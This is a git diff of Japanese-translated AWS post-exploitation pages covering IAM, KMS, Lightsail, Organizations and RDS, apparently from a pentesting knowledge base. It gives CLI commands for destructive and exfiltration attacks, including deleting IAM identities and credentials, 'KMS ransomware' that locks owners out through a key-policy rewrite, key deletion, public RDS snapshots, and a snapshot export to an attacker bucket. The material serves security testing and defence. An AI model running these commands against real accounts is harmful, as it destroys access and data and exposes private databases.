+Confused Deputy 問題を回避する一般的な方法は、発信元の ARN を確認するために `AWS:SourceArn` を条件で使用することです。ただし、**一部のサービスはそれをサポートしていない場合があります**（例：CloudTrail は情報源によってサポートしていないことがあります）。
+
+### 認証情報の削除
+次のいずれかの権限 — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — を持つと、担当者はアクセスキー、ログインプロファイル、SSH 鍵、サービス固有の認証情報、インスタンスプロファイル、証明書、CloudFront の公開鍵を削除したり、インスタンスプロファイルからロールを切り離したりできます。これらの操作は正当なユーザーやアプリケーションを直ちにブロックし、これらの認証情報に依存するシステムのサービス停止やアクセス喪失を引き起こす可能性があるため、これらの IAM 権限は厳格に制限・監視する必要があります。
+```bash
+# Remove Access Key of a user
+aws iam delete-access-key \
+--user-name <Username> \
+--access-key-id AKIAIOSFODNN7EXAMPLE
+
+## Remove ssh key of a user
+aws iam delete-ssh-public-key \
+--user-name <Username> \
+--ssh-public-key-id APKAEIBAERJR2EXAMPLE
+```
+### アイデンティティの削除
+`iam:DeleteUser`、`iam:DeleteGroup`、`iam:DeleteRole`、または `iam:RemoveUserFromGroup` のような権限があれば、アクターはユーザー、ロール、グループを削除したり、グループのメンバーシップを変更したりして、アイデンティティとそれに関連する痕跡を削除できます。これにより、そのアイデンティティに依存する人やサービスのアクセスが直ちに断たれ、サービス拒否やアクセス喪失を引き起こす可能性があるため、これらの IAM アクションは厳格に制限および監視される必要があります。
+```bash
+# Delete a user
+aws iam delete-user \
+--user-name <Username>
+
+# Delete a group
+aws iam delete-group \
+--group-name <Username>
+
+# Delete a role
+aws iam delete-role \
+--role-name <Role>
+```
+###
+以下の許可のいずれか — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — を持つアクターは、マネージド/インラインポリシーを削除またはデタッチし、ポリシーのバージョンや権限境界を削除し、ユーザー、グループ、ロールからポリシーを切り離すことができます。これは認可を破壊し、権限モデルを変更する可能性があり、それらのポリシーに依存していた主体が即座にアクセスを失ったりサービス停止（denial-of-service）を引き起こす可能性があるため、これらの IAM アクションは厳格に制限・監視されるべきです。
+```bash
+# Delete a group policy
+aws iam delete-group-policy \
+--group-name <GroupName> \
+--policy-name <PolicyName>
+
+# Delete a role policy
+aws iam delete-role-policy \
+--role-name <RoleName> \
+--policy-name <PolicyName>
+```
+### フェデレーテッドアイデンティティの削除
+`iam:DeleteOpenIDConnectProvider`、`iam:DeleteSAMLProvider`、および `iam:RemoveClientIDFromOpenIDConnectProvider` を持つアクターは、OIDC/SAML の Identity Provider (IdP) を削除したり、client ID を削除したりできます。これによりフェデレーテッド認証が破損し、トークンの検証ができなくなり、IdP または設定が復旧されるまで SSO に依存するユーザーやサービスへのアクセスが即座に拒否されます。
+```bash
+# Delete OIDCP provider
+aws iam delete-open-id-connect-provider \
+--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
+
+# Delete SAML provider
+aws iam delete-saml-provider \
+--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
+```
+### 不正な MFA 有効化
+`iam:EnableMFADevice` により、攻撃者はユーザのアイデンティティに MFA デバイスを登録でき、正当なユーザのサインインを阻止できます。一度不正な MFA が有効になると、そのデバイスが削除またはリセットされるまでユーザはロックアウトされる可能性があります（注: 複数の MFA デバイスが登録されている場合、サインインはどれか一つのデバイスで可能なため、この攻撃はアクセス拒否には影響しません）。
+```bash
+aws iam enable-mfa-device \
+--user-name <Username> \
+--serial-number arn:aws:iam::111122223333:mfa/alice \
+--authentication-code1 123456 \
+--authentication-code2 789012
+```
+### 証明書/鍵のメタデータ改ざん
+With `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, an actor can change status or metadata of public keys and certificates. By marking keys/certificates inactive or altering references, they can break SSH authentication, invalidate X.509/TLS validations, and immediately disrupt services that depend on those credentials, causing loss of access or availability.
+```bash
+aws iam update-ssh-public-key \
+--user-name <Username> \
+--ssh-public-key-id APKAEIBAERJR2EXAMPLE \
+--status Inactive
+
+aws iam update-server-certificate \
+--server-certificate-name <Certificate_Name> \
+--new-path /prod/
+```
+## 参考資料
+
+- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md

@@ -1,182 +0,0 @@
-# AWS - KMS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## KMS
-
-For more information check:
-
-{{#ref}}
-../aws-services/aws-kms-enum.md
-{{#endref}}
-
-### 暗号化/復号化情報
-
-`fileb://` と `file://` は、ローカルファイルへのパスを指定するために AWS CLI コマンドで使用される URI スキームです:
-
-- `fileb://:` はファイルをバイナリモードで読み込み、非テキストファイルに一般的に使用されます。
-- `file://:` はファイルをテキストモードで読み込み、プレーンテキスト、スクリプト、または特別なエンコーディングを必要としない JSON に通常使用されます。
-
-> [!TIP]
-> 注意: ファイル内のデータを復号したい場合、ファイルには base64 エンコードされたデータではなくバイナリデータが含まれている必要があります。(fileb://)
-
-- **対称鍵** を使用する場合
-```bash
-# Encrypt data
-aws kms encrypt \
---key-id f0d3d719-b054-49ec-b515-4095b4777049 \
---plaintext fileb:///tmp/hello.txt \
---output text \
---query CiphertextBlob | base64 \
---decode > ExampleEncryptedFile
-
-# Decrypt data
-aws kms decrypt \
---ciphertext-blob fileb://ExampleEncryptedFile \
---key-id f0d3d719-b054-49ec-b515-4095b4777049 \
---output text \
---query Plaintext | base64 \
---decode
-```
-- **非対称**鍵を使用する:
-```bash
-# Encrypt data
-aws kms encrypt \
---key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
---encryption-algorithm RSAES_OAEP_SHA_256 \
---plaintext fileb:///tmp/hello.txt \
---output text \
---query CiphertextBlob | base64 \
---decode > ExampleEncryptedFile
-
-# Decrypt data
-aws kms decrypt \
---ciphertext-blob fileb://ExampleEncryptedFile \
---encryption-algorithm RSAES_OAEP_SHA_256 \
---key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
---output text \
---query Plaintext | base64 \
---decode
-```
-### KMS Ransomware
-
-KMS に対する特権的アクセスを持つ attacker は、キーの KMS policy を変更し、**自分のアカウントに対するアクセスを付与することで**、legit account に付与されていたアクセスを削除できます。
-
-その結果、legit account のユーザーは、これらのキーで暗号化された任意のサービスの情報にアクセスできなくなり、アカウント上で簡単かつ効果的な ransomware を作り出します。
-
-> [!WARNING]
-> 注意: **AWS managed keys aren't affected**。影響を受けるのは **Customer managed keys** のみです。
-
-> また、パラメータ **`--bypass-policy-lockout-safety-check`** を使用する必要がある点にも注意してください（web console にこのオプションがないため、この攻撃は CLI からのみ実行可能になります）。
-```bash
-# Force policy change
-aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
---policy-name default \
---policy file:///tmp/policy.yaml \
---bypass-policy-lockout-safety-check
-
-{
-"Id": "key-consolepolicy-3",
-"Version": "2012-10-17",
-"Statement": [
-{
-"Sid": "Enable IAM User Permissions",
-"Effect": "Allow",
-"Principal": {
-"AWS": "arn:aws:iam::<your_own_account>:root"
-},
-"Action": "kms:*",
-"Resource": "*"
-}
-]
-}
-```
-> [!CAUTION]
-> ポリシーを変更して外部アカウントのみにアクセスを与え、その外部アカウントから新しいポリシーを設定して**元のアカウントにアクセスを戻そうとしても、Put Polocy action cannot be performed from a cross account**ため、アクセスを戻すことはできない点に注意してください。
-
-<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
-
-### Generic KMS Ransomware
-
-グローバルな KMS Ransomware を実行する別の方法として、以下の手順が考えられます:
-
-- 攻撃者がインポートした **key with a key material** を持つ新しいキーを作成する
-- 被害者が以前のバージョンで暗号化した古いデータを新しいキーで **Re-encrypt older data** する
-- **Delete the KMS key**
-- そうすると、元の **key material** を持つ攻撃者だけが暗号化データを復号できるようになる
-
-### Delete Keys via kms:DeleteImportedKeyMaterial
-
-`kms:DeleteImportedKeyMaterial` 権限があれば、アクターは `Origin=EXTERNAL` を持つ CMKs（キー素材をインポートしている CMKs）からインポートされた key material を削除でき、それらはデータを復号できなくなります。この操作は破壊的かつ不可逆であり、互換性のある素材が再インポートされない限り元に戻せません。そのため、攻撃者は暗号化された情報を恒久的にアクセス不能にし、ransomware-like なデータ損失を実質的に引き起こすことが可能です。
-```bash
-aws kms delete-imported-key-material --key-id <Key_ID>
-```
-### Destroy keys
-
-keys を破壊することで DoS を実行できる。
-```bash
-# Schedule the destoy of a key (min wait time is 7 days)
-aws kms schedule-key-deletion \
---key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
---pending-window-in-days 7
-```
-> [!CAUTION]
-> 注意: AWS は現在 **これらの操作がクロスアカウントから実行されることを防いでいます:**
-
-### Alias を変更または削除
-この攻撃は AWS KMS の aliases を削除またはリダイレクトし、キーの解決を破壊してそれらの aliases に依存するサービスで即時の障害を引き起こし、結果として denial-of-service を招きます。`kms:DeleteAlias` や `kms:UpdateAlias` のような権限があれば、攻撃者は aliases を削除または再指向して暗号操作（例: encrypt, describe）を妨害できます。key ID の代わりに alias を参照しているサービスは、alias が復元されるか正しく再マップされるまで失敗する可能性があります。
-```bash
-# Delete Alias
-aws kms delete-alias --alias-name alias/<key_alias>
-
-# Update Alias
-aws kms update-alias \
---alias-name alias/<key_alias> \
---target-key-id <new_target_key>
-```
-### Cancel Key Deletion
-`kms:CancelKeyDeletion` と `kms:EnableKey` のような権限があれば、攻撃者は AWS KMS customer master key の予定された削除を取り消し、後で再度有効化できます。こうすることで鍵が回復（最初は Disabled state）し、以前に保護されていたデータを復号する能力が復元され、exfiltration を可能にします。
-```bash
-# Firts cancel de deletion
-aws kms cancel-key-deletion \
---key-id <Key_ID>
-
-## Second enable the key
-aws kms enable-key \
---key-id <Key_ID>
-```
-### Disable Key
-`kms:DisableKey` 権限を持つアクターは、AWS KMS の customer master key を無効化でき、暗号化や復号に使用できなくします。これによりその CMK に依存するサービスのアクセスが途絶し、キーが再度有効化されるまで即時の障害や denial-of-service を引き起こす可能性があります。
-```bash
-aws kms disable-key \
---key-id <key_id>
-```
-### 共有シークレットの導出
-`kms:DeriveSharedSecret` 権限があれば、主体は KMSで保持されている秘密鍵とユーザー提供の公開鍵を用いて ECDH の共有シークレットを計算できます。
-```bash
-aws kms derive-shared-secret \
---key-id <key_id> \
---public-key fileb:///<route_to_public_key> \
---key-agreement-algorithm <algorithm>
-```
-### Impersonation via kms:Sign
-`kms:Sign` 権限があると、攻撃者は KMS に保存された CMK を使って秘密鍵を露出することなくデータに暗号学的な署名を行え、正当な署名を生成してなりすましや不正な操作の承認に利用することができます。
-```bash
-aws kms sign \
---key-id <key-id> \
---message fileb://<ruta-al-archivo> \
---signing-algorithm <algoritmo> \
---message-type RAW
-```
-### DoS with Custom Key Stores
-`kms:DeleteCustomKeyStore`、`kms:DisconnectCustomKeyStore`、`kms:UpdateCustomKeyStore` のような権限があれば、攻撃者は AWS KMS Custom Key Store (CKS) を変更、切断、または削除でき、そのマスターキーを使用不能にできます。これにより、これらのキーに依存するサービスの暗号化、復号、署名操作が停止し、即時のサービス拒否を引き起こす可能性があります。したがって、これらの権限を制限し監視することが重要です。
-```bash
-aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
-
-aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
-
-aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
-```
-<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md

@@ -0,0 +1,182 @@
+# AWS - KMS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## KMS
+
+詳細は次を参照してください:
+
+{{#ref}}
+../../aws-services/aws-kms-enum.md
+{{#endref}}
+
+### Encrypt/Decrypt information
+
+`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
+
+- `fileb://:` はファイルをバイナリモードで読み込みます。非テキストファイルに一般的に使用されます。
+- `file://:` はファイルをテキストモードで読み込みます。プレーンテキストファイル、スクリプト、または特殊なエンコーディングを必要としない JSON に通常使用されます。
+
+> [!TIP]
+> ファイル内のデータをdecryptしたい場合、ファイルは base64 エンコードされたデータではなくバイナリデータを含んでいる必要があります。(fileb://)
+
+- Using a **symmetric** key
+```bash
+# Encrypt data
+aws kms encrypt \
+--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
+--plaintext fileb:///tmp/hello.txt \
+--output text \
+--query CiphertextBlob | base64 \
+--decode > ExampleEncryptedFile
+
+# Decrypt data
+aws kms decrypt \
+--ciphertext-blob fileb://ExampleEncryptedFile \
+--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
+--output text \
+--query Plaintext | base64 \
+--decode
+```
+- **非対称**鍵を使用する:
+```bash
+# Encrypt data
+aws kms encrypt \
+--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
+--encryption-algorithm RSAES_OAEP_SHA_256 \
+--plaintext fileb:///tmp/hello.txt \
+--output text \
+--query CiphertextBlob | base64 \
+--decode > ExampleEncryptedFile
+
+# Decrypt data
+aws kms decrypt \
+--ciphertext-blob fileb://ExampleEncryptedFile \
+--encryption-algorithm RSAES_OAEP_SHA_256 \
+--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
+--output text \
+--query Plaintext | base64 \
+--decode
+```
+### KMS Ransomware
+
+KMS に対する特権アクセスを持つ攻撃者は、キーの KMS ポリシーを変更して **自分のアカウントに対するアクセスを付与し**、正規のアカウントに付与されているアクセスを削除できます。
+
+すると、正規のアカウントのユーザーはそれらのキーで暗号化されたサービスの情報に一切アクセスできなくなり、アカウントに対する簡単だが効果的な ransomware を作り出します。
+
+> [!WARNING]
+> この攻撃では **AWS managed keys は影響を受けません**。影響を受けるのは **Customer managed keys** のみです。
+
+> また、パラメータ **`--bypass-policy-lockout-safety-check`** を使用する必要がある点に注意してください（web console にこのオプションがないため、この攻撃は CLI からのみ実行可能です）。
+```bash
+# Force policy change
+aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
+--policy-name default \
+--policy file:///tmp/policy.yaml \
+--bypass-policy-lockout-safety-check
+
+{
+"Id": "key-consolepolicy-3",
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "Enable IAM User Permissions",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::<your_own_account>:root"
+},
+"Action": "kms:*",
+"Resource": "*"
+}
+]
+}
+```
+> [!CAUTION]
+> このポリシーを変更して外部アカウントのみにアクセスを付与し、その外部アカウントから元のアカウントにアクセスを戻すための新しいポリシーを設定しようとしても、クロスアカウントからは Put Polocy アクションを実行できないため、できません。
+
+<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
+
+### 一般的な KMS Ransomware
+
+グローバルな KMS Ransomware を実行する別の方法があり、以下の手順を含みます:
+
+- 攻撃者がインポートした **key with a key material** を持つ新しいキーを作成する
+- 被害者が以前のバージョンで暗号化した古いデータを **Re-encrypt older data** して新しいキーで再暗号化する
+- **Delete the KMS key**
+- こうしてオリジナルの key material を持つ攻撃者だけが暗号化されたデータを復号できるようになる
+
+### kms:DeleteImportedKeyMaterial による鍵の削除
+
+`kms:DeleteImportedKeyMaterial` permission があれば、アクターは `Origin=EXTERNAL` の CMKs からインポートされた key material を削除でき（キー素材をインポートした CMKs）、それによりそれらはデータを復号できなくなります。この操作は破壊的かつ不可逆であり、互換性のある素材が再インポートされない限り回復できません。結果として、攻撃者は暗号化された情報を恒久的にアクセス不能にして、ransomware-like data loss を実質的に引き起こすことができます。
+```bash
+aws kms delete-imported-key-material --key-id <Key_ID>
+```
+### キーを破壊
+
+キーを破壊すると、DoSを実行することが可能です。
+```bash
+# Schedule the destoy of a key (min wait time is 7 days)
+aws kms schedule-key-deletion \
+--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
+--pending-window-in-days 7
+```
+> [!CAUTION]
+> 注意: AWS は現在 **以前の操作が cross account から実行されることを防止しています:** 
+
+### Alias の変更または削除
+この攻撃は AWS KMS aliases を削除またはリダイレクトし、キーの解決を失わせ、それらの aliases に依存するサービスで即時に障害を発生させ、denial-of-service を引き起こします。`kms:DeleteAlias` や `kms:UpdateAlias` のような権限があれば、攻撃者は aliases を削除または別の場所を指すように変更し、暗号化操作（例：encrypt、describe）を妨害できます。alias を key ID の代わりに参照しているサービスは、alias が復元されるか正しく再マッピングされるまで失敗する可能性があります。
+```bash
+# Delete Alias
+aws kms delete-alias --alias-name alias/<key_alias>
+
+# Update Alias
+aws kms update-alias \
+--alias-name alias/<key_alias> \
+--target-key-id <new_target_key>
+```
+### Cancel Key Deletion
+`kms:CancelKeyDeletion` や `kms:EnableKey` のような権限があれば、攻撃者は AWS KMS のカスタマーマスターキーの予定された削除を取り消し、後で再有効化できます。こうすることでキーを回復（最初は Disabled 状態）し、以前に保護されていたデータを復号する能力を復元して、exfiltration を可能にします。
+```bash
+# Firts cancel de deletion
+aws kms cancel-key-deletion \
+--key-id <Key_ID>
+
+## Second enable the key
+aws kms enable-key \
+--key-id <Key_ID>
+```
+### キーの無効化
+`kms:DisableKey` の権限があれば、攻撃者は AWS KMS のカスタマーマスターキー（CMK）を無効化でき、暗号化や復号で使用できなくなります。これにより当該 CMK に依存するサービスのアクセスが遮断され、キーが再有効化されるまで即時の障害や denial-of-service が発生する可能性があります。
+```bash
+aws kms disable-key \
+--key-id <key_id>
+```
+### 共有シークレットの導出
+`kms:DeriveSharedSecret` 権限を持つアクターは、KMS が保持する秘密鍵とユーザー提供の公開鍵を使用して ECDH 共有シークレットを計算できます。
+```bash
+aws kms derive-shared-secret \
+--key-id <key_id> \
+--public-key fileb:///<route_to_public_key> \
+--key-agreement-algorithm <algorithm>
+```
+### Impersonation via kms:Sign
+`kms:Sign` の権限があれば、攻撃者は KMS-stored CMK を使って private key を露出させることなくデータを暗号的に署名し、正当な署名を生成して impersonation を可能にしたり悪意のある操作を承認したりできます。
+```bash
+aws kms sign \
+--key-id <key-id> \
+--message fileb://<ruta-al-archivo> \
+--signing-algorithm <algoritmo> \
+--message-type RAW
+```
+### DoS with Custom Key Stores
+`kms:DeleteCustomKeyStore`、`kms:DisconnectCustomKeyStore`、または `kms:UpdateCustomKeyStore` のような権限があると、攻撃者は AWS KMS Custom Key Store (CKS) を変更、切断、または削除してそのマスターキーを利用不能にできます。これにより、これらのキーに依存するサービスの暗号化、復号化、署名操作が中断され、即時の denial-of-service を引き起こす可能性があります。したがって、これらの権限を制限し監視することが極めて重要です。
+```bash
+aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
+
+aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
+
+aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
+```
+<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md

@@ -1,30 +0,0 @@
-# AWS - Lightsail ポストエクスプロイテーション
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Lightsail
-
-詳細については、次を確認してください:
-
-{{#ref}}
-../aws-services/aws-lightsail-enum.md
-{{#endref}}
-
-### 古いDBスナップショットの復元
-
-DBにスナップショットがある場合、**古いスナップショットに現在削除された機密情報を見つけることができるかもしれません**。**スナップショットを新しいデータベースに復元**し、確認してください。
-
-### インスタンススナップショットの復元
-
-インスタンススナップショットには、**すでに削除されたインスタンスの機密情報**や、現在のインスタンスで削除された機密情報が含まれている可能性があります。**スナップショットから新しいインスタンスを作成**し、確認してください。\
-または、**スナップショットをEC2のAMIにエクスポート**し、通常のEC2インスタンスの手順に従ってください。
-
-### 機密情報へのアクセス
-
-Lightsailの特権昇格オプションを確認して、潜在的な機密情報にアクセスするさまざまな方法を学んでください:
-
-{{#ref}}
-../aws-privilege-escalation/aws-lightsail-privesc.md
-{{#endref}}
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md

@@ -0,0 +1,30 @@
+# AWS - Lightsail Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Lightsail
+
+詳細は以下を参照してください：
+
+{{#ref}}
+../../aws-services/aws-lightsail-enum.md
+{{#endref}}
+
+### 古いDBスナップショットを復元する
+
+DBにスナップショットがある場合、古いスナップショット内に現在削除されている**機密情報を見つけられる可能性があります**。スナップショットを**新しいデータベース**に**復元**して確認してください。
+
+### インスタンスのスナップショットを復元する
+
+インスタンスのスナップショットには、既に削除されたインスタンスの**機密情報**や現在のインスタンスで削除された機密情報が含まれている場合があります。**スナップショットから新しいインスタンスを作成**して確認してください。\
+または**スナップショットをEC2のAMIにエクスポート**し、典型的なEC2インスタンスの手順に従ってください。
+
+### 機密情報へのアクセス
+
+潜在的な機密情報にアクセスするさまざまな方法を知るには、Lightsail privescのオプションを確認してください：
+
+{{#ref}}
+../../aws-privilege-escalation/aws-lightsail-privesc/README.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md

@@ -1,17 +0,0 @@
-# AWS - Organizations Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Organizations
-
-AWS Organizationsに関する詳細は、以下を確認してください：
-
-{{#ref}}
-../aws-services/aws-organizations-enum.md
-{{#endref}}
-
-### Orgを離れる
-```bash
-aws organizations deregister-account --account-id <account_id> --region <region>
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md

@@ -0,0 +1,17 @@
+# AWS - Organizations Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Organizations
+
+AWS Organizations の詳細は次を参照してください:
+
+{{#ref}}
+../../aws-services/aws-organizations-enum.md
+{{#endref}}
+
+### 組織の離脱
+```bash
+aws organizations deregister-account --account-id <account_id> --region <region>
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md

@@ -1,18 +1,18 @@
-# AWS - RDS ポストエクスプロイテーション
+# AWS - RDS Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## RDS
 
-詳細は以下を参照：
+詳細は次を参照してください:
 
 {{#ref}}
-../aws-services/aws-relational-database-rds-enum.md
+../../aws-services/aws-relational-database-rds-enum.md
 {{#endref}}
 
 ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
 
-攻撃者が十分な権限を持っている場合、DB のスナップショットを作成し、そのスナップショットから公開アクセス可能な DB を作成することで、**DB を公開アクセス可能にできる**。
+攻撃者が十分な権限を持っている場合、DB のスナップショットを作成し、そのスナップショットから公開アクセス可能な DB を作成することで、**DB を公開アクセス可能にする**ことができます。
 ```bash
 aws rds describe-db-instances # Get DB identifier
 
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
 ```
 ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
 
-これらの権限を持つ攻撃者は、**DBの snapshot を作成**してそれを**公開** **利用可能**にできます。すると、自分のアカウントでその snapshot から DB を作成できます。
+これらの権限を持つ攻撃者は、**DBのスナップショットを作成**し、それを**公開** **可能に**することができます。そうすれば、そのスナップショットから自分のアカウントでDBを作成できます。
 
-攻撃者が**`rds:CreateDBSnapshot`を持っていない場合でも**、**他の**作成済み snapshot を**公開**することは可能です。
+攻撃者が **`rds:CreateDBSnapshot` を持っていない** 場合でも、**他の** 作成済みスナップショットを**公開**することは可能です。
 ```bash
 # create snapshot
 aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -53,7 +53,7 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
 ```
 ### `rds:DownloadDBLogFilePortion`
 
-`rds:DownloadDBLogFilePortion` の権限を持つ攻撃者は **RDS インスタンスのログファイルの一部をダウンロードできる**。機密データやアクセス認証情報が誤ってログに記録されている場合、攻撃者はそれらを利用して権限を昇格したり、不正な操作を実行したりする可能性がある。
+`rds:DownloadDBLogFilePortion` 権限を持つ攻撃者は、**RDS インスタンスのログファイルの一部をダウンロードできます**。機密データや認証情報が誤ってログに記録されている場合、攻撃者はその情報を利用して権限を昇格させたり、不正な操作を行ったりする可能性があります。
 ```bash
 aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
 ```
@@ -61,40 +61,40 @@ aws rds download-db-log-file-portion --db-instance-identifier target-instance --
 
 ### `rds:DeleteDBInstance`
 
-これらの権限を持つ攻撃者は **DoS existing RDS instances** を行うことができます。
+これらの権限を持つ攻撃者は **DoS existing RDS instances** を実行できます。
 ```bash
 # Delete
 aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
 ```
-**潜在的な影響**: 既存のRDSインスタンスの削除およびデータ損失の可能性。
+**Potential impact**: 既存の RDS インスタンスの削除、およびデータ喪失の可能性。
 
 ### `rds:StartExportTask`
 
 > [!NOTE]
 > TODO: テスト
 
-この権限を持つattackerは**RDSインスタンスのスナップショットをS3バケットにエクスポートできる**。もしattackerが宛先のS3バケットを制御している場合、エクスポートされたスナップショット内の機密データにアクセスできる可能性がある。
+この権限を持つ攻撃者は、**RDS インスタンスのスナップショットを S3 バケットにエクスポートする** を実行できます。攻撃者が宛先の S3 バケットを制御している場合、エクスポートされたスナップショット内の機密データにアクセスできる可能性があります。
 ```bash
 aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
 ```
 **Potential impact**: エクスポートされたスナップショット内の機密データへのアクセス。
 
-### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
+### ステルス復元のためのクロスリージョン自動バックアップ複製 (`rds:StartDBInstanceAutomatedBackupsReplication`)
 
-cross-Region automated backups replicationを悪用して、RDSインスタンスの自動バックアップを別のAWSリージョンに静かに複製し、そこでリストアします。攻撃者はリストアしたDBを公開アクセス可能にし、マスターパスワードをリセットして、守備側が監視していないリージョンでオフバンドにデータへアクセスできます。
+クロスリージョンの自動バックアップ複製を悪用して、RDSインスタンスの自動バックアップを別の AWS Region にこっそり複製し、そこで復元します。攻撃者は復元した DB をパブリックに公開し、マスターパスワードをリセットして、守備側が監視していない可能性のある Region でアウトオブバンドにデータへアクセスできます。
 
 Permissions needed (minimum):
-- `rds:StartDBInstanceAutomatedBackupsReplication`（宛先リージョンで）
-- `rds:DescribeDBInstanceAutomatedBackups`（宛先リージョンで）
-- `rds:RestoreDBInstanceToPointInTime`（宛先リージョンで）
-- `rds:ModifyDBInstance`（宛先リージョンで）
-- `rds:StopDBInstanceAutomatedBackupsReplication`（オプション：クリーンアップ）
-- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`（リストアしたDBを公開するため）
+- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
+- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
+- `rds:RestoreDBInstanceToPointInTime` in the destination Region
+- `rds:ModifyDBInstance` in the destination Region
+- `rds:StopDBInstanceAutomatedBackupsReplication` (オプション: クリーンアップ)
+- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
 
-Impact: 本番データのコピーを別リージョンにリストアし、攻撃者が管理する認証情報で公開することで、永続化およびデータの持ち出しが可能になります。
+Impact: 本番データのコピーを別の Region に復元し、攻撃者が管理する資格情報で公開することで、永続化とデータの外部流出が可能になります。
 
 <details>
-<summary>エンドツーエンドのCLI（プレースホルダを置き換えてください）</summary>
+<summary>エンドツーエンド CLI (プレースホルダーを置き換えてください)</summary>
 ```bash
 # 1) Recon (SOURCE region A)
 aws rds describe-db-instances \
@@ -163,15 +163,15 @@ aws rds stop-db-instance-automated-backups-replication \
 </details>
 
 
-### DB parameter groups を介して完全な SQL ロギングを有効化し、RDS log APIs 経由で exfiltrate
+### DB parameter groups 経由でフル SQL ロギングを有効にし、RDS log APIs 経由で exfiltrate
 
